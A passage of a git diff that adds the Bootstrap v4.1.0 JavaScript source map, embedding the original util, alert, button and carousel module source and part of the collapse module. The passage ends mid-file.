+//# sourceMappingURL=bootstrap.js.map
diff --git a/public/js/bootstrap.js.map b/public/js/bootstrap.js.map
new file mode 100644
index 0000000..7b50f7d
--- /dev/null
+++ b/public/js/bootstrap.js.map
@@ -0,0 +1 @@
+{"version":3,"file":"bootstrap.js","sources":["../../rollupPluginBabelHelpers","../../js/src/util.js","../../js/src/alert.js","../../js/src/button.js","../../js/src/carousel.js","../../js/src/collapse.js","../../js/src/dropdown.js","../../js/src/modal.js","../../js/src/tooltip.js","../../js/src/popover.js","../../js/src/scrollspy.js","../../js/src/tab.js","../../js/src/index.js"],"sourcesContent":["export { _createClass as createClass, _defineProperty as defineProperty, _objectSpread as objectSpread, _inheritsLoose as inheritsLoose };\n\nfunction _defineProperties(target, props) {\n  for (var i = 0; i < props.length; i++) {\n    var descriptor = props[i];\n    descriptor.enumerable = descriptor.enumerable || false;\n    descriptor.configurable = true;\n    if (\"value\" in descriptor) descriptor.writable = true;\n    Object.defineProperty(target, descriptor.key, descriptor);\n  }\n}\n\nfunction _createClass(Constructor, protoProps, staticProps) {\n  if (protoProps) _defineProperties(Constructor.prototype, protoProps);\n  if (staticProps) _defineProperties(Constructor, staticProps);\n  return Constructor;\n}\n\nfunction _defineProperty(obj, key, value) {\n  if (key in obj) {\n    Object.defineProperty(obj, key, {\n      value: value,\n      enumerable: true,\n      configurable: true,\n      writable: true\n    });\n  } else {\n    obj[key] = value;\n  }\n\n  return obj;\n}\n\nfunction _objectSpread(target) {\n  for (var i = 1; i < arguments.length; i++) {\n    var source = arguments[i] != null ? arguments[i] : {};\n    var ownKeys = Object.keys(source);\n\n    if (typeof Object.getOwnPropertySymbols === 'function') {\n      ownKeys = ownKeys.concat(Object.getOwnPropertySymbols(source).filter(function (sym) {\n        return Object.getOwnPropertyDescriptor(source, sym).enumerable;\n      }));\n    }\n\n    ownKeys.forEach(function (key) {\n      _defineProperty(target, key, source[key]);\n    });\n  }\n\n  return target;\n}\n\nfunction _inheritsLoose(subClass, superClass) {\n  subClass.prototype = Object.create(superClass.prototype);\n  subClass.prototype.constructor = subClass;\n  subClass.__proto__ = superClass;\n}","import $ from 'jquery'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): util.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Util = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Private TransitionEnd Helpers\n   * ------------------------------------------------------------------------\n   */\n\n  const TRANSITION_END = 'transitionend'\n  const MAX_UID = 1000000\n  const MILLISECONDS_MULTIPLIER = 1000\n\n  // Shoutout AngusCroll (https://goo.gl/pxwQGp)\n  function toType(obj) {\n    return {}.toString.call(obj).match(/\\s([a-z]+)/i)[1].toLowerCase()\n  }\n\n  function getSpecialTransitionEndEvent() {\n    return {\n      bindType: TRANSITION_END,\n      delegateType: TRANSITION_END,\n      handle(event) {\n        if ($(event.target).is(this)) {\n          return event.handleObj.handler.apply(this, arguments) // eslint-disable-line prefer-rest-params\n        }\n        return undefined // eslint-disable-line no-undefined\n      }\n    }\n  }\n\n  function transitionEndEmulator(duration) {\n    let called = false\n\n    $(this).one(Util.TRANSITION_END, () => {\n      called = true\n    })\n\n    setTimeout(() => {\n      if (!called) {\n        Util.triggerTransitionEnd(this)\n      }\n    }, duration)\n\n    return this\n  }\n\n  function setTransitionEndSupport() {\n    $.fn.emulateTransitionEnd = transitionEndEmulator\n    $.event.special[Util.TRANSITION_END] = getSpecialTransitionEndEvent()\n  }\n\n  /**\n   * --------------------------------------------------------------------------\n   * Public Util Api\n   * --------------------------------------------------------------------------\n   */\n\n  const Util = {\n\n    TRANSITION_END: 'bsTransitionEnd',\n\n    getUID(prefix) {\n      do {\n        // eslint-disable-next-line no-bitwise\n        prefix += ~~(Math.random() * MAX_UID) // \"~~\" acts like a faster Math.floor() here\n      } while (document.getElementById(prefix))\n      return prefix\n    },\n\n    getSelectorFromElement(element) {\n      let selector = element.getAttribute('data-target')\n      if (!selector || selector === '#') {\n        selector = element.getAttribute('href') || ''\n      }\n\n      try {\n        const $selector = $(document).find(selector)\n        return $selector.length > 0 ? selector : null\n      } catch (err) {\n        return null\n      }\n    },\n\n    getTransitionDurationFromElement(element) {\n      if (!element) {\n        return 0\n      }\n\n      // Get transition-duration of the element\n      let transitionDuration = $(element).css('transition-duration')\n      const floatTransitionDuration = parseFloat(transitionDuration)\n\n      // Return 0 if element or transition duration is not found\n      if (!floatTransitionDuration) {\n        return 0\n      }\n\n      // If multiple durations are defined, take the first\n      transitionDuration = transitionDuration.split(',')[0]\n\n      return parseFloat(transitionDuration) * MILLISECONDS_MULTIPLIER\n    },\n\n    reflow(element) {\n      return element.offsetHeight\n    },\n\n    triggerTransitionEnd(element) {\n      $(element).trigger(TRANSITION_END)\n    },\n\n    // TODO: Remove in v5\n    supportsTransitionEnd() {\n      return Boolean(TRANSITION_END)\n    },\n\n    isElement(obj) {\n      return (obj[0] || obj).nodeType\n    },\n\n    typeCheckConfig(componentName, config, configTypes) {\n      for (const property in configTypes) {\n        if (Object.prototype.hasOwnProperty.call(configTypes, property)) {\n          const expectedTypes = configTypes[property]\n          const value         = config[property]\n          const valueType     = value && Util.isElement(value)\n            ? 'element' : toType(value)\n\n          if (!new RegExp(expectedTypes).test(valueType)) {\n            throw new Error(\n              `${componentName.toUpperCase()}: ` +\n              `Option \"${property}\" provided type \"${valueType}\" ` +\n              `but expected type \"${expectedTypes}\".`)\n          }\n        }\n      }\n    }\n  }\n\n  setTransitionEndSupport()\n\n  return Util\n})($)\n\nexport default Util\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): alert.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Alert = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME                = 'alert'\n  const VERSION             = '4.1.0'\n  const DATA_KEY            = 'bs.alert'\n  const EVENT_KEY           = `.${DATA_KEY}`\n  const DATA_API_KEY        = '.data-api'\n  const JQUERY_NO_CONFLICT  = $.fn[NAME]\n\n  const Selector = {\n    DISMISS : '[data-dismiss=\"alert\"]'\n  }\n\n  const Event = {\n    CLOSE          : `close${EVENT_KEY}`,\n    CLOSED         : `closed${EVENT_KEY}`,\n    CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n  }\n\n  const ClassName = {\n    ALERT : 'alert',\n    FADE  : 'fade',\n    SHOW  : 'show'\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Alert {\n    constructor(element) {\n      this._element = element\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    // Public\n\n    close(element) {\n      element = element || this._element\n\n      const rootElement = this._getRootElement(element)\n      const customEvent = this._triggerCloseEvent(rootElement)\n\n      if (customEvent.isDefaultPrevented()) {\n        return\n      }\n\n      this._removeElement(rootElement)\n    }\n\n    dispose() {\n      $.removeData(this._element, DATA_KEY)\n      this._element = null\n    }\n\n    // Private\n\n    _getRootElement(element) {\n      const selector = Util.getSelectorFromElement(element)\n      let parent     = false\n\n      if (selector) {\n        parent = $(selector)[0]\n      }\n\n      if (!parent) {\n        parent = $(element).closest(`.${ClassName.ALERT}`)[0]\n      }\n\n      return parent\n    }\n\n    _triggerCloseEvent(element) {\n      const closeEvent = $.Event(Event.CLOSE)\n\n      $(element).trigger(closeEvent)\n      return closeEvent\n    }\n\n    _removeElement(element) {\n      $(element).removeClass(ClassName.SHOW)\n\n      if (!$(element).hasClass(ClassName.FADE)) {\n        this._destroyElement(element)\n        return\n      }\n\n      const transitionDuration = Util.getTransitionDurationFromElement(element)\n\n      $(element)\n        .one(Util.TRANSITION_END, (event) => this._destroyElement(element, event))\n        .emulateTransitionEnd(transitionDuration)\n    }\n\n    _destroyElement(element) {\n      $(element)\n        .detach()\n        .trigger(Event.CLOSED)\n        .remove()\n    }\n\n    // Static\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        const $element = $(this)\n        let data       = $element.data(DATA_KEY)\n\n        if (!data) {\n          data = new Alert(this)\n          $element.data(DATA_KEY, data)\n        }\n\n        if (config === 'close') {\n          data[config](this)\n        }\n      })\n    }\n\n    static _handleDismiss(alertInstance) {\n      return function (event) {\n        if (event) {\n          event.preventDefault()\n        }\n\n        alertInstance.close(this)\n      }\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document).on(\n    Event.CLICK_DATA_API,\n    Selector.DISMISS,\n    Alert._handleDismiss(new Alert())\n  )\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME]             = Alert._jQueryInterface\n  $.fn[NAME].Constructor = Alert\n  $.fn[NAME].noConflict  = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Alert._jQueryInterface\n  }\n\n  return Alert\n})($)\n\nexport default Alert\n","import $ from 'jquery'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): button.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Button = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME                = 'button'\n  const VERSION             = '4.1.0'\n  const DATA_KEY            = 'bs.button'\n  const EVENT_KEY           = `.${DATA_KEY}`\n  const DATA_API_KEY        = '.data-api'\n  const JQUERY_NO_CONFLICT  = $.fn[NAME]\n\n  const ClassName = {\n    ACTIVE : 'active',\n    BUTTON : 'btn',\n    FOCUS  : 'focus'\n  }\n\n  const Selector = {\n    DATA_TOGGLE_CARROT : '[data-toggle^=\"button\"]',\n    DATA_TOGGLE        : '[data-toggle=\"buttons\"]',\n    INPUT              : 'input',\n    ACTIVE             : '.active',\n    BUTTON             : '.btn'\n  }\n\n  const Event = {\n    CLICK_DATA_API      : `click${EVENT_KEY}${DATA_API_KEY}`,\n    FOCUS_BLUR_DATA_API : `focus${EVENT_KEY}${DATA_API_KEY} ` +\n                            `blur${EVENT_KEY}${DATA_API_KEY}`\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Button {\n    constructor(element) {\n      this._element = element\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    // Public\n\n    toggle() {\n      let triggerChangeEvent = true\n      let addAriaPressed = true\n      const rootElement = $(this._element).closest(\n        Selector.DATA_TOGGLE\n      )[0]\n\n      if (rootElement) {\n        const input = $(this._element).find(Selector.INPUT)[0]\n\n        if (input) {\n          if (input.type === 'radio') {\n            if (input.checked &&\n              $(this._element).hasClass(ClassName.ACTIVE)) {\n              triggerChangeEvent = false\n            } else {\n              const activeElement = $(rootElement).find(Selector.ACTIVE)[0]\n\n              if (activeElement) {\n                $(activeElement).removeClass(ClassName.ACTIVE)\n              }\n            }\n          }\n\n          if (triggerChangeEvent) {\n            if (input.hasAttribute('disabled') ||\n              rootElement.hasAttribute('disabled') ||\n              input.classList.contains('disabled') ||\n              rootElement.classList.contains('disabled')) {\n              return\n            }\n            input.checked = !$(this._element).hasClass(ClassName.ACTIVE)\n            $(input).trigger('change')\n          }\n\n          input.focus()\n          addAriaPressed = false\n        }\n      }\n\n      if (addAriaPressed) {\n        this._element.setAttribute('aria-pressed',\n          !$(this._element).hasClass(ClassName.ACTIVE))\n      }\n\n      if (triggerChangeEvent) {\n        $(this._element).toggleClass(ClassName.ACTIVE)\n      }\n    }\n\n    dispose() {\n      $.removeData(this._element, DATA_KEY)\n      this._element = null\n    }\n\n    // Static\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        let data = $(this).data(DATA_KEY)\n\n        if (!data) {\n          data = new Button(this)\n          $(this).data(DATA_KEY, data)\n        }\n\n        if (config === 'toggle') {\n          data[config]()\n        }\n      })\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document)\n    .on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE_CARROT, (event) => {\n      event.preventDefault()\n\n      let button = event.target\n\n      if (!$(button).hasClass(ClassName.BUTTON)) {\n        button = $(button).closest(Selector.BUTTON)\n      }\n\n      Button._jQueryInterface.call($(button), 'toggle')\n    })\n    .on(Event.FOCUS_BLUR_DATA_API, Selector.DATA_TOGGLE_CARROT, (event) => {\n      const button = $(event.target).closest(Selector.BUTTON)[0]\n      $(button).toggleClass(ClassName.FOCUS, /^focus(in)?$/.test(event.type))\n    })\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Button._jQueryInterface\n  $.fn[NAME].Constructor = Button\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Button._jQueryInterface\n  }\n\n  return Button\n})($)\n\nexport default Button\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): carousel.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Carousel = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME                   = 'carousel'\n  const VERSION                = '4.1.0'\n  const DATA_KEY               = 'bs.carousel'\n  const EVENT_KEY              = `.${DATA_KEY}`\n  const DATA_API_KEY           = '.data-api'\n  const JQUERY_NO_CONFLICT     = $.fn[NAME]\n  const ARROW_LEFT_KEYCODE     = 37 // KeyboardEvent.which value for left arrow key\n  const ARROW_RIGHT_KEYCODE    = 39 // KeyboardEvent.which value for right arrow key\n  const TOUCHEVENT_COMPAT_WAIT = 500 // Time for mouse compat events to fire after touch\n\n  const Default = {\n    interval : 5000,\n    keyboard : true,\n    slide    : false,\n    pause    : 'hover',\n    wrap     : true\n  }\n\n  const DefaultType = {\n    interval : '(number|boolean)',\n    keyboard : 'boolean',\n    slide    : '(boolean|string)',\n    pause    : '(string|boolean)',\n    wrap     : 'boolean'\n  }\n\n  const Direction = {\n    NEXT     : 'next',\n    PREV     : 'prev',\n    LEFT     : 'left',\n    RIGHT    : 'right'\n  }\n\n  const Event = {\n    SLIDE          : `slide${EVENT_KEY}`,\n    SLID           : `slid${EVENT_KEY}`,\n    KEYDOWN        : `keydown${EVENT_KEY}`,\n    MOUSEENTER     : `mouseenter${EVENT_KEY}`,\n    MOUSELEAVE     : `mouseleave${EVENT_KEY}`,\n    TOUCHEND       : `touchend${EVENT_KEY}`,\n    LOAD_DATA_API  : `load${EVENT_KEY}${DATA_API_KEY}`,\n    CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n  }\n\n  const ClassName = {\n    CAROUSEL : 'carousel',\n    ACTIVE   : 'active',\n    SLIDE    : 'slide',\n    RIGHT    : 'carousel-item-right',\n    LEFT     : 'carousel-item-left',\n    NEXT     : 'carousel-item-next',\n    PREV     : 'carousel-item-prev',\n    ITEM     : 'carousel-item'\n  }\n\n  const Selector = {\n    ACTIVE      : '.active',\n    ACTIVE_ITEM : '.active.carousel-item',\n    ITEM        : '.carousel-item',\n    NEXT_PREV   : '.carousel-item-next, .carousel-item-prev',\n    INDICATORS  : '.carousel-indicators',\n    DATA_SLIDE  : '[data-slide], [data-slide-to]',\n    DATA_RIDE   : '[data-ride=\"carousel\"]'\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Carousel {\n    constructor(element, config) {\n      this._items              = null\n      this._interval           = null\n      this._activeElement      = null\n\n      this._isPaused           = false\n      this._isSliding          = false\n\n      this.touchTimeout        = null\n\n      this._config             = this._getConfig(config)\n      this._element            = $(element)[0]\n      this._indicatorsElement  = $(this._element).find(Selector.INDICATORS)[0]\n\n      this._addEventListeners()\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    static get Default() {\n      return Default\n    }\n\n    // Public\n\n    next() {\n      if (!this._isSliding) {\n        this._slide(Direction.NEXT)\n      }\n    }\n\n    nextWhenVisible() {\n      // Don't call next when the page isn't visible\n      // or the carousel or its parent isn't visible\n      if (!document.hidden &&\n        ($(this._element).is(':visible') && $(this._element).css('visibility') !== 'hidden')) {\n        this.next()\n      }\n    }\n\n    prev() {\n      if (!this._isSliding) {\n        this._slide(Direction.PREV)\n      }\n    }\n\n    pause(event) {\n      if (!event) {\n        this._isPaused = true\n      }\n\n      if ($(this._element).find(Selector.NEXT_PREV)[0]) {\n        Util.triggerTransitionEnd(this._element)\n        this.cycle(true)\n      }\n\n      clearInterval(this._interval)\n      this._interval = null\n    }\n\n    cycle(event) {\n      if (!event) {\n        this._isPaused = false\n      }\n\n      if (this._interval) {\n        clearInterval(this._interval)\n        this._interval = null\n      }\n\n      if (this._config.interval && !this._isPaused) {\n        this._interval = setInterval(\n          (document.visibilityState ? this.nextWhenVisible : this.next).bind(this),\n          this._config.interval\n        )\n      }\n    }\n\n    to(index) {\n      this._activeElement = $(this._element).find(Selector.ACTIVE_ITEM)[0]\n\n      const activeIndex = this._getItemIndex(this._activeElement)\n\n      if (index > this._items.length - 1 || index < 0) {\n        return\n      }\n\n      if (this._isSliding) {\n        $(this._element).one(Event.SLID, () => this.to(index))\n        return\n      }\n\n      if (activeIndex === index) {\n        this.pause()\n        this.cycle()\n        return\n      }\n\n      const direction = index > activeIndex\n        ? Direction.NEXT\n        : Direction.PREV\n\n      this._slide(direction, this._items[index])\n    }\n\n    dispose() {\n      $(this._element).off(EVENT_KEY)\n      $.removeData(this._element, DATA_KEY)\n\n      this._items             = null\n      this._config            = null\n      this._element           = null\n      this._interval          = null\n      this._isPaused          = null\n      this._isSliding         = null\n      this._activeElement     = null\n      this._indicatorsElement = null\n    }\n\n    // Private\n\n    _getConfig(config) {\n      config = {\n        ...Default,\n        ...config\n      }\n      Util.typeCheckConfig(NAME, config, DefaultType)\n      return config\n    }\n\n    _addEventListeners() {\n      if (this._config.keyboard) {\n        $(this._element)\n          .on(Event.KEYDOWN, (event) => this._keydown(event))\n      }\n\n      if (this._config.pause === 'hover') {\n        $(this._element)\n          .on(Event.MOUSEENTER, (event) => this.pause(event))\n          .on(Event.MOUSELEAVE, (event) => this.cycle(event))\n        if ('ontouchstart' in document.documentElement) {\n          // If it's a touch-enabled device, mouseenter/leave are fired as\n          // part of the mouse compatibility events on first tap - the carousel\n          // would stop cycling until user tapped out of it;\n          // here, we listen for touchend, explicitly pause the carousel\n          // (as if it's the second time we tap on it, mouseenter compat event\n          // is NOT fired) and after a timeout (to allow for mouse compatibility\n          // events to fire) we explicitly restart cycling\n          $(this._element).on(Event.TOUCHEND, () => {\n            this.pause()\n            if (this.touchTimeout) {\n              clearTimeout(this.touchTimeout)\n            }\n            this.touchTimeout = setTimeout((event) => this.cycle(event), TOUCHEVENT_COMPAT_WAIT + this._config.interval)\n          })\n        }\n      }\n    }\n\n    _keydown(event) {\n      if (/input|textarea/i.test(event.target.tagName)) {\n        return\n      }\n\n      switch (event.which) {\n        case ARROW_LEFT_KEYCODE:\n          event.preventDefault()\n          this.prev()\n          break\n        case ARROW_RIGHT_KEYCODE:\n          event.preventDefault()\n          this.next()\n          break\n        default:\n      }\n    }\n\n    _getItemIndex(element) {\n      this._items = $.makeArray($(element).parent().find(Selector.ITEM))\n      return this._items.indexOf(element)\n    }\n\n    _getItemByDirection(direction, activeElement) {\n      const isNextDirection = direction === Direction.NEXT\n      const isPrevDirection = direction === Direction.PREV\n      const activeIndex     = this._getItemIndex(activeElement)\n      const lastItemIndex   = this._items.length - 1\n      const isGoingToWrap   = isPrevDirection && activeIndex === 0 ||\n                              isNextDirection && activeIndex === lastItemIndex\n\n      if (isGoingToWrap && !this._config.wrap) {\n        return activeElement\n      }\n\n      const delta     = direction === Direction.PREV ? -1 : 1\n      const itemIndex = (activeIndex + delta) % this._items.length\n\n      return itemIndex === -1\n        ? this._items[this._items.length - 1] : this._items[itemIndex]\n    }\n\n    _triggerSlideEvent(relatedTarget, eventDirectionName) {\n      const targetIndex = this._getItemIndex(relatedTarget)\n      const fromIndex = this._getItemIndex($(this._element).find(Selector.ACTIVE_ITEM)[0])\n      const slideEvent = $.Event(Event.SLIDE, {\n        relatedTarget,\n        direction: eventDirectionName,\n        from: fromIndex,\n        to: targetIndex\n      })\n\n      $(this._element).trigger(slideEvent)\n\n      return slideEvent\n    }\n\n    _setActiveIndicatorElement(element) {\n      if (this._indicatorsElement) {\n        $(this._indicatorsElement)\n          .find(Selector.ACTIVE)\n          .removeClass(ClassName.ACTIVE)\n\n        const nextIndicator = this._indicatorsElement.children[\n          this._getItemIndex(element)\n        ]\n\n        if (nextIndicator) {\n          $(nextIndicator).addClass(ClassName.ACTIVE)\n        }\n      }\n    }\n\n    _slide(direction, element) {\n      const activeElement = $(this._element).find(Selector.ACTIVE_ITEM)[0]\n      const activeElementIndex = this._getItemIndex(activeElement)\n      const nextElement   = element || activeElement &&\n        this._getItemByDirection(direction, activeElement)\n      const nextElementIndex = this._getItemIndex(nextElement)\n      const isCycling = Boolean(this._interval)\n\n      let directionalClassName\n      let orderClassName\n      let eventDirectionName\n\n      if (direction === Direction.NEXT) {\n        directionalClassName = ClassName.LEFT\n        orderClassName = ClassName.NEXT\n        eventDirectionName = Direction.LEFT\n      } else {\n        directionalClassName = ClassName.RIGHT\n        orderClassName = ClassName.PREV\n        eventDirectionName = Direction.RIGHT\n      }\n\n      if (nextElement && $(nextElement).hasClass(ClassName.ACTIVE)) {\n        this._isSliding = false\n        return\n      }\n\n      const slideEvent = this._triggerSlideEvent(nextElement, eventDirectionName)\n      if (slideEvent.isDefaultPrevented()) {\n        return\n      }\n\n      if (!activeElement || !nextElement) {\n        // Some weirdness is happening, so we bail\n        return\n      }\n\n      this._isSliding = true\n\n      if (isCycling) {\n        this.pause()\n      }\n\n      this._setActiveIndicatorElement(nextElement)\n\n      const slidEvent = $.Event(Event.SLID, {\n        relatedTarget: nextElement,\n        direction: eventDirectionName,\n        from: activeElementIndex,\n        to: nextElementIndex\n      })\n\n      if ($(this._element).hasClass(ClassName.SLIDE)) {\n        $(nextElement).addClass(orderClassName)\n\n        Util.reflow(nextElement)\n\n        $(activeElement).addClass(directionalClassName)\n        $(nextElement).addClass(directionalClassName)\n\n        const transitionDuration = Util.getTransitionDurationFromElement(activeElement)\n\n        $(activeElement)\n          .one(Util.TRANSITION_END, () => {\n            $(nextElement)\n              .removeClass(`${directionalClassName} ${orderClassName}`)\n              .addClass(ClassName.ACTIVE)\n\n            $(activeElement).removeClass(`${ClassName.ACTIVE} ${orderClassName} ${directionalClassName}`)\n\n            this._isSliding = false\n\n            setTimeout(() => $(this._element).trigger(slidEvent), 0)\n          })\n          .emulateTransitionEnd(transitionDuration)\n      } else {\n        $(activeElement).removeClass(ClassName.ACTIVE)\n        $(nextElement).addClass(ClassName.ACTIVE)\n\n        this._isSliding = false\n        $(this._element).trigger(slidEvent)\n      }\n\n      if (isCycling) {\n        this.cycle()\n      }\n    }\n\n    // Static\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        let data = $(this).data(DATA_KEY)\n        let _config = {\n          ...Default,\n          ...$(this).data()\n        }\n\n        if (typeof config === 'object') {\n          _config = {\n            ..._config,\n            ...config\n          }\n        }\n\n        const action = typeof config === 'string' ? config : _config.slide\n\n        if (!data) {\n          data = new Carousel(this, _config)\n          $(this).data(DATA_KEY, data)\n        }\n\n        if (typeof config === 'number') {\n          data.to(config)\n        } else if (typeof action === 'string') {\n          if (typeof data[action] === 'undefined') {\n            throw new TypeError(`No method named \"${action}\"`)\n          }\n          data[action]()\n        } else if (_config.interval) {\n          data.pause()\n          data.cycle()\n        }\n      })\n    }\n\n    static _dataApiClickHandler(event) {\n      const selector = Util.getSelectorFromElement(this)\n\n      if (!selector) {\n        return\n      }\n\n      const target = $(selector)[0]\n\n      if (!target || !$(target).hasClass(ClassName.CAROUSEL)) {\n        return\n      }\n\n      const config = {\n        ...$(target).data(),\n        ...$(this).data()\n      }\n      const slideIndex = this.getAttribute('data-slide-to')\n\n      if (slideIndex) {\n        config.interval = false\n      }\n\n      Carousel._jQueryInterface.call($(target), config)\n\n      if (slideIndex) {\n        $(target).data(DATA_KEY).to(slideIndex)\n      }\n\n      event.preventDefault()\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document)\n    .on(Event.CLICK_DATA_API, Selector.DATA_SLIDE, Carousel._dataApiClickHandler)\n\n  $(window).on(Event.LOAD_DATA_API, () => {\n    $(Selector.DATA_RIDE).each(function () {\n      const $carousel = $(this)\n      Carousel._jQueryInterface.call($carousel, $carousel.data())\n    })\n  })\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Carousel._jQueryInterface\n  $.fn[NAME].Constructor = Carousel\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Carousel._jQueryInterface\n  }\n\n  return Carousel\n})($)\n\nexport default Carousel\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): collapse.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Collapse = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME                = 'collapse'\n  const VERSION             = '4.1.0'\n  const DATA_KEY            = 'bs.collapse'\n  const EVENT_KEY           = `.${DATA_KEY}`\n  const DATA_API_KEY        = '.data-api'\n  const JQUERY_NO_CONFLICT  = $.fn[NAME]\n\n  const Default = {\n    toggle : true,\n    parent : ''\n  }\n\n  const DefaultType = {\n    toggle : 'boolean',\n    parent : '(string|element)'\n  }\n\n  const Event = {\n    SHOW           : `show${EVENT_KEY}`,\n    SHOWN          : `shown${EVENT_KEY}`,\n    HIDE           : `hide${EVENT_KEY}`,\n    HIDDEN         : `hidden${EVENT_KEY}`,\n    CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n  }\n\n  const ClassName = {\n    SHOW       : 'show',\n    COLLAPSE   : 'collapse',\n    COLLAPSING : 'collapsing',\n    COLLAPSED  : 'collapsed'\n  }\n\n  const Dimension = {\n    WIDTH  : 'width',\n    HEIGHT : 'height'\n  }\n\n  const Selector = {\n    ACTIVES     : '.show, .collapsing',\n    DATA_TOGGLE : '[data-toggle=\"collapse\"]'\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Collapse {\n    constructor(element, config) {\n      this._isTransitioning = false\n      this._element         = element\n      this._config          = this._getConfig(config)\n      this._triggerArray    = $.makeArray($(\n        `[data-toggle=\"collapse\"][href=\"#${element.id}\"],` +\n        `[data-toggle=\"collapse\"][data-target=\"#${element.id}\"]`\n      ))\n      const tabToggles = $(Selector.DATA_TOGGLE)\n      for (let i = 0; i < tabToggles.length; i++) {\n        const elem = tabToggles[i]\n        const selector = Util.getSelectorFromElement(elem)\n        if (selector !== null && $(selector).filter(element).length > 0) {\n          this._selector = selector\n          this._triggerArray.push(elem)\n        }\n      }\n\n      this._parent = this._config.parent ? this._getParent() : null\n\n      if (!this._config.parent) {\n        this._addAriaAndCollapsedClass(this._element, this._triggerArray)\n      }\n\n      if (this._config.toggle) {\n        this.toggle()\n      }\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    static get Default() {\n      return Default\n    }\n\n    // Public\n\n    toggle() {\n      if ($(this._element).hasClass(ClassName.SHOW)) {\n        this.hide()\n      } else {\n        this.show()\n      }\n    }\n\n    show() {\n      if (this._isTransitioning ||\n        $(this._element).hasClass(ClassName.SHOW)) {\n        return\n      }\n\n      let actives\n      let activesData\n\n      if (this._parent) {\n        actives = $.makeArray(\n          $(this._parent)\n            .find(Selector.ACTIVES)\n            .filter(`[data-parent=\"${this._config.parent}\"]`)\n        )\n        if (actives.length === 0) {\n          actives = null\n        }\n      }\n\n      if (actives) {\n        activesData = $(actives).not(this._selector).data(DATA_KEY)\n        if (activesData && activesData._isTransitioning) {\n          return\n        }\n      }\n\n      const startEvent = $.Event(Event.SHOW)\n      $(this._element).trigger(startEvent)\n      if (startEvent.isDefaultPrevented()) {\n        return\n      }\n\n      if (actives) {\n        Collapse._jQueryInterface.call($(actives).not(this._selector), 'hide')\n        if (!activesData) {\n          $(actives).data(DATA_KEY, null)\n        }\n      }\n\n      const dimension = this._getDimension()\n\n      $(this._element)\n        .removeClass(ClassName.COLLAPSE)\n        .addClass(ClassName.COLLAPSING)\n\n      this._element.style[dimension] = 0\n\n      if (this._triggerArray.length > 0) {\n        $(this._triggerArray)\n          .removeClass(ClassName.COLLAPSED)\n          .attr('aria-expanded', true)\n      }\n\n      this.setTransitioning(true)\n\n      const complete = () => {\n        $(this._element)\n          .removeClass(ClassName.COLLAPSING)\n          .addClass(ClassName.COLLAPSE)\n          .addClass(ClassName.SHOW)\n\n        this._element.style[dimension] = ''\n\n        this.setTransitioning(false)\n\n        $(this._element).trigger(Event.SHOWN)\n      }\n\n      const capitalizedDimension = 